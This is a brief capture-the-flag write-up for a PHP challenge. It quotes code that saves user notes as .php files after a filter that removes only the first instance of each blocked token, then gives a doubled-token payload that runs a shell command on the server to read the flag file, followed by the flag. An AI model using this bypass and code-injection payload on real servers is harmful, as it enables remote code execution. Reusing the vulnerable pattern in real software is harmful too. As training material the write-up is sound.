ProgrammersHateProgramming

just a little different than normally. Link: http://147.182.172.217:42002/index.php

---

<?php
if(isset($_POST["notewrite"]))
{
    $newnote = $_POST["notewrite"];
    $notetoadd = str_replace_first("<?php", "", $newnote);
    $notetoadd = str_replace_first("?>", "", $notetoadd);
    $notetoadd = str_replace_first("<script>", "", $notetoadd);
    $notetoadd = str_replace_first("</script>", "", $notetoadd);
    $notetoadd = str_replace_first("flag", "", $notetoadd);

    $filename = generateRandomString();
    file_put_contents("$filename.php", $notetoadd);
    header("location:index.php");
}

payload

<?php<?php
 echo `cat /flagflag.php`;
?>?>

flag:flag{server_side_php_xss_is_less_known_but_considering_almost_80%_of_websites_use_php_it_is_good_to_know_thank_me_later_i_dont_want_to_stop_typing_this_flagg_is_getting_long_but_i_feel_like_we're_developing_a_really_meaningful_connection}